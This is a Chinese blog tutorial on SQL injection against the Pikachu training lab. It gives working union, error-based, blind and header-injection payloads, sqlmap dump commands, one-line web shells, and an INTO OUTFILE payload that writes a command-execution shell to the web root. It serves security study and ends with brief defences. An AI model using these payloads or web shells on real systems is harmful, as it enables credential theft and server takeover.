pikachu之sql注入漏洞
作者:互联网
一、SQL Inject漏洞原理概述
1.概述:
数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击着可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露的一种漏洞
2.攻击流程
第一步:注入点探测
自动方式:使用web漏洞扫描工具,自动进行注入点发现
手动方式:手工构造sql inject测试语句进行注入点发现
第二步:信息获取
通过注入点取期望得到的数据
(1)环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
(2)数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)
第三步:获取权限
获取操作系统权限:通过数据库执行shell,上传木马
二、判断注入点类型及常见注入类型讲解
1.常见注入点类型:
—》数字型(post) user_id=$id
源码分析:
前端获取的变量id未做任何处理,直接拼接到select语句中进行查询,形成了sql注入。
打开pikachu的数字型sql注入,发现有一个下拉框,随便选中一个值
输出了vince的信息,这里我们发现在url中没有传参,所以是post请求
根据上图想象一下后台的逻辑:因为输出两个字段,所以暂且想象为两个字段
$id = $_POST['id']
select 字段1,字段2 from 表名 where id = $id
正常情况下这里的$id值为(1~6),我们换成 1 or 1=1通过返回来看看后台会不会把这个逻辑去执行。
进行抓包查看,构造payload,发送。返回用户的全部信息
or 1 = 1
—》字符型(get) user_id=‘$id’
源码分析:
这里没有做任何处理,直接拼接到select语句当中
随便输入一个用户名时,提示不存在
当输入kobe时,返回信息
这是一个正常的功能。我们发现在url当中进行了传参,所以这是一个get请求
http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2
猜想后台是怎样运行的
$username = $_get['username']
select 字段1,字段2 from 表名 where username = '$username';
因为这里的变量是字符型,所以需要构造闭合
kobe' or 1=1 # //这里的#是将后面的单引号注释掉,避免语法错误
执行效果:将用户信息遍历出来了
—》搜索型 text like ‘%{$_GET[‘search’]}%’
用户输入是搜索内容直接拼接到sql语句中,这里的变量是模糊匹配,闭合方式%’
$query="select username,id,email from member where username like '%$name%'";
$result=execute($link, $query);
构造闭合
like '%$name%' or 1=1 #%'
$name%' or 1=1 # //搜索文本框输入
执行效果:信息全部输出
—》xx型注入
源码分析:
构造闭合:
('$name') or 1=1 #')
$name') or 1=1 # //输入框输入
执行效果:
2.补充:mysql小知识–注释符号
因为在sql注入测试中,需要经常对多余的内容进行消除,以保证SQL语句语法正确,比如上面的#
使用注释符号直接对多余内容进行注释是比较有效的方法
MySQL服务器支持3种注释
(1)从'#'字符到行尾
(2)从'--'序列到行尾。请注意'--'(双破折号)注释风格要求第2个破折号后面至少跟一个空格符(如空格、tab、换行符等)
该语法与标准SQL注释语法稍有不同
(3)从/*序列后面的*/序列。结束序列不一定在同一行种,因此该语法允许注释跨越多行
总结:不管是啥型,就是对SQL中的各种类型的输入进行闭合测试,构造合法SQL,欺骗后台执行
三、注入方式get&post的区别
get方式中使用url提交注入数据
post方式中使用抓包工具修改post数据部分提交注入
不管是get方式还是post方式,都可能会出现SQL注入漏洞,本质其实是一样的
四、SQL Inject漏洞手工测试:基于union联合查询的信息获取(select)
注:这里用字符型注入做演示
1.union联合查询、order by知识补充
order by x 表示对查询的结果进行排序,按照第X列进行排序,默认数字0-9,字母a-z
思路:对查询的结果使用order by按照指定的列进行排序,如果指定的列不存在,数据库会报错
通过报错判断查询结果的列数,从而确定主查询的字段数
如何猜解字段数?利用二分法
构造闭合
a' order by 5#
a' order by 2# //发现没有报错,显示用户名不存在。所以判断列数为2
2.基于union联合查询的信息获取(select)
union联合查询:可以通过联合查询来查询指定的数据
用法举例:
select username,password from user where id=1 union select 字段1,字段2 from 表名
//联合查询的字段数需要和主查询一致
构造闭合
aa' union select database(),user()#
aa' union select database(),version()#
3.”information_schema”数据库介绍
在mysql中,自带的information_schema这个表里面存放了大量的重要信息。具体如下:
如果存在注入点的话,可以直接尝试对数据库进行访问,从而获取更多的信息。
比如:
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细描述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表
4.Mysql小知识补充
select version(); //取得数据库版本
select database(); //取得当前的数据库
select user(); //取得当前登录的用户
五、手工测试:通过information_schema拿下数据库
第一步:先输入一个单引号,发现报错,所以可以判断单引号是被拼接到sql语句中,后台把前端的输入当作数据库的一部分来进行逻辑判断。故存在sql注入漏洞
第二步:构造闭合,发现可以遍历出数据
kobe' or 1=1 #
第三步:获取数据库中表的名称
获取表名
select id,email from member where username='kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'
test payload:
kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
执行效果:得出了所有的表名
第四步:获取字段名
获取字段名
select id,email from member where username='kobe' union select table_name,column_name from information_schema.columns where table_name='users';
test payload:
kobe' union select table_name,column_name from information_schema.columns where table_name='users'#
执行效果:得出了所有的字段名
第五步:获取字段的内容
获取内容
select id,email from member where username='kobe' union select username,password from users;
test payload:
kobe' union select username,password from users#
执行效果:获取了用户名,密码
六、SQL Inject漏洞手工测试:基于报错的信息获取(select/delete/update/insert)
1.常用的报错函数
(1)updatexml():函数是MYSQL对xml文档数据进行查询和修改的XPATH函数
(2)extractvalue():函数是MYSQL对xml文档数据进行查询的XPATH函数
(3)floor():MYSQL中用来取整的函数
2.基于报错的信息获取(select/delete/update/insert)
技巧思路:
在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息
select/insert/update/delete都可以使用报错来获取信息
背景条件:
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端
3.实验演示
----》updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值
语法:UPDATEXML(xml_document,XPathstring,new_value)
第一个参数:fiedname时String格式,为表中的字段名
第二个参数:XPathstring(Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的
注:Xpath定位必须是有效的,否则会发生错误
updatexml()函数构造一个报错,通过报错信息来获取信息
(1)select下报错的利用演示(字符型注入)
》》开始注入,爆出版本信息
kobe' and updatexml(1,concat(0x7e,version()),0)#
//concat()函数用于将多个字符串连接成一个字符串,目的是让拼接后的字符串不符合XPath格式使其报错,显示出要查的对象
//0x7e ASCII码,实为~,upadtexml()报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,开头连接一个特殊字符~
执行效果:
》》爆出数据库信息:pikachu
kobe' and updatexml(1,concat(0x7e,database()),0)#
执行效果
》》爆出数据库中表的名称
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
//报错信息显示只能一次返回一行
修改:
//可以使用limit一次一次进行获取表名
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
//获取第1个位置的数据,步长为1
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1)),0)#
》》依此类推,获取所有表名…
》》获取到表名后,在获取列名,思路是一样的
kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)#
》》获取到列名后,再来获取数据
//获取用户名
kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#
//获取密码
kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#
(2)insert下报错的利用演示(pikachu的insert/update注入)
》》填写注册信息
》》第一步:随便输入一个特殊符号,报错,表明后台参与拼接,存在sql注入
》》第二步:输入payload
xiaohong' or updatexml(1,concat(0x7e,database()),0) or '
(3)update下报错的利用演示(pikachu的insert/update注入)
》》登录lucy用户,进行修改个人信息
》》在性别字段,输入payload
xiaohong' or updatexml(1,concat(0x7e,database()),0) or '
(4)delete下报错的利用演示(pikachu的delete注入)
对于后台来说,delete就是把留言对应的 id 传到了后台,然后后台就把该 id 对应的数据给删除了
》》删除留言,抓包查看:
》》我们把这条记录发送到repeater里面,构造payload,进行闭合。因为是数值型,所以没有单引号
1 or updatexml(1,concat(0x7e,database()),0)
因为这个参数实在url里面提交的,所以我们需要在burp上对这个payload做一个url的编码。否则让这一整段不是一个完整的url
》》编完后的payload,空格都用“+”连接
》》点击提交,爆出数据库名称
-----》extractvalue()函数作用:从目标XML中返回包含所查询值的字符串
语法:ExtractValue(xml_document,xpath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string(Xpath格式的字符串)
Xpath定位必须是有效的,否则则会发生错误
》》构造payload
kobe' and extractvalue(0,concat(0x7e,version()))#
-----》floor()函数作用:向下取整
floor(x),也写做Floor(x),其功能是“向下取整”,或者说“向下舍入”,即取不大于x的最大整数(与“四舍五入”不同,下取整是直接取按照数轴上最接近要求值的左边值,即不大于要求值的最大的那个值)
rand函数不是真正的随机数生成器,而srand()会设置供rand()使用的随机数种子。如果你在第一次调用rand()之前没有调用srand(),那么系统会为你自动调用srand()。而使用同种子相同的数调用 rand()会导致相同的随机数序列被生成。
》》构造payload
kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
kobe' and (select 2 from (select count(*),concat((select password from users where username='admin'),floor(rand(0)*2))x from information_schema.tables group by x)a)#
六、SQL Inject漏洞手工测试:操作系统权限获取
1.一句话木马
一句话木马是一种短小而精悍的木马客户端,隐蔽性好,且功能强大
php:<?php @eval($_POST[‘chopper’]);?>
asp:<%eval request("chopper")%>
asp.net:<%@Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
2.如何通过into outfile写入恶意代码并控制系统
注:这里我将本机作为了目标主机
如何把一句话木马写入到服务器上去?
前提条件:
(1)需要知道远程目录
(2)需要远程目录有写权限
(3)需要数据库开启了secure_file_priv
select 1,2 into outfile “D:/phpstudy2018/PHPTutorial/WWW/1.txt”
into outfile 将select的结果写入到指定目录的1.txt中
在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取
3.实验演示:
第一步:满足前提条件
(1)远程目录
在我phpstudy的环境中创建一个php文件,我的路径为:D:\phpstudy2018\PHPTutorial\WWW
然后远程访问,可以访问。这个就是通过sqli进行服务器的远程控制的原理
(2)远程目录有写权限
目前来说很多的网站的应用程序是没有写的权限的,这保护了我们的信息。
对于firefox火狐浏览器,这个浏览器目前可以。
(3)开启数据库secure_file_priv
首先查看数据库的secure_file_priv,显示null
修改:打开mysql的配置文件,my.ini
在最下面新添加一行并且保存,然后重启服务,由null变为空
secure_file_priv=
第二步:构造payload
kobe' union select "<?php system($_GET['test'])?>",2 into outfile "D:/phpstudy2018/PHPTutorial/WWW/2.php"#
字符型注入进行测试,虽然有警告,但是已经写入了
第三步:通过网页来操作目标计算机的cmd命令行了
kobe' union select "<?php system($_GET['cmd'])?>",2 into outfile "D:/phpstudy2018/PHPTutorial/WWW/3.php"#
七、SQL注入漏洞-基于http header的注入
1.什么是http header注入
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)
或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等
会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑,则可能会导致基于http header的SQL Inject漏洞
2.开始实验
打开pikachu的“http header”注入
第一步:提交一个单引号,然后发现报错。表明存在sql注入漏洞,因为后台将单引号放到sql语句中执行了
第二步:输入构造的payload
firefox' or updatexml(1,concat(0x7e,database()),0) or '
ant[uname]=admin' and updatexml(1,concat(0x7e,database()),0)#
八、SQL注入漏洞-盲注(boolian base)原理及测试
1.什么是盲注以及常见的盲注类型
在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错,此时无法在根据报错信息来进行注入的判断
这种情况下的注入,称为“盲注”
根据表现形式的不同,盲注又分为based boolean和based time两种类型
2.基于boolean(true or false)的盲注测试
表现症状:没有报错信息
(1)不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为0或者1)
(2)在正确的输入下,输入and 1=1/and 1=2发现可以判断
实验演示:
》》先用之前的字符串进行测试,发现用户名不存在
》》再测试
因为kobe存在,and 1=1为真 所以被写入后台,所以存在sql注入
》》用之前基于报错的payload来试一下,不行
kobe’ and extractvalue(0,concat(0x7e,version()))#
》》我们模拟后端,在数据库中进行查询
我们发现,只有真假两种情况,所以,构造的payload传到后台得出的结果只有真假两种情况
》》构造payload
kobe’ and ascii(substr(database(),1,1))>113#
》》如果返回了kobe对应的信息,意味着and后面的表达式为真,反之为假。基于真假就能知道database第一个字符串是不是>113。
》》改一下
kobe' and ascii(substr(database(),1,1))=112#
这样,我们就返回了数据库名称的第一个字符“p”
》》查询表名
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<112#
我们猜测第一个字符是小于112的,依次类推,就能得到第一个字符
》》这里为了直接得出结论,所以表的第一个字符是“h”,ascii码值为104,输入payload
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104#
3.基于time的盲注测试
如果是基于boolean的盲注在页面上还可以看到0 or 1的回显的话,那么基于time的盲注完全就啥都看不到了
但还有一个条件,就是“时间”,通过特定的输入,判断后台执行的时间,从而确认注入
实验演示
首先,我们用之前的思路进行测试
先输入一个单引号,发现不行
输入kobe’ and 1=1#,也不行
暂停5秒进行测试,把我们输入的payload执行了,说明这块存在sql注入,并且是基于时间的盲注
kobe' and sleep(5)#
构造payload,根据时间的延迟来做判断
用 if 做判断,通过 database 把数据库名称取出来, substr函数表示获得数据库第一个字符,“=”后面进行猜测,如果正好为‘p’,暂停5秒,此时数据库的第一个字符就为‘p’
kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
九、SQL注入-宽字节注入原理及演示
参考博客:https://www.cnblogs.com/xiaoxiaosen/p/13753936.html
十、SQL注入表(列)名猜解-暴力破解在sql上的应用
注:在字符型注入进行测试
实验步骤
第一步:输入payload ,显示表不存在
kobe' and exists(select * from aa)#
//(1)将kobe’进行查询;
(2)将and作为运算符;
(3)猜测表aa是否存在,该表名是个字典。若表名存在,表达式为真;否则表达式为假。
第二步:在burp上进行抓包,发送到intruder模块
注:这里要暴力破解的对象是表名aa,因此在此处添加特殊符号
第三步:添加字典
第四步:查看返回结果,存在member和users这两张表
同理通过payload :
kobe' and exists(select id from users)# //猜测列名
如果列名正确,会返回对应结果:
十一、如何使用SQL-Map进行SQL Inject漏洞测试
1.概述
sqlmap是一个自动化的sql注入工具,其主要功能是扫描,发现并利用给定的URL进行sql注入,目前支持数据库有mysql、oracle、access、postagesql、sql server、sqlite等
2.实验演示
第一步:对url进行注入探测
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --current-db
第二步:获取当前的数据库
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --current-db
第三步:获取数据库表的名称
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --D pikachu --tables
第四步:获取users表中所有的列名
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --D pikachu -T users --columns
第五步:指定users表中具体字段的内容
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --D pikachu -T users -C username,password --dump
十二、SQL注入漏洞常见防范措施
代码层面
1.对输入进行严格的转义和过滤
2.使用预处理和参数化(Parameterized)—>推荐
网络层面
1.通过WAF设备启用防SQL Inject注入策略(或类似防护系统)
2.云端防护(360网站卫士,阿里云盾等)
标签:pikachu,漏洞,报错,sql,kobe,schema,数据库,select,注入 来源: https://blog.csdn.net/weixin_51446936/article/details/117676008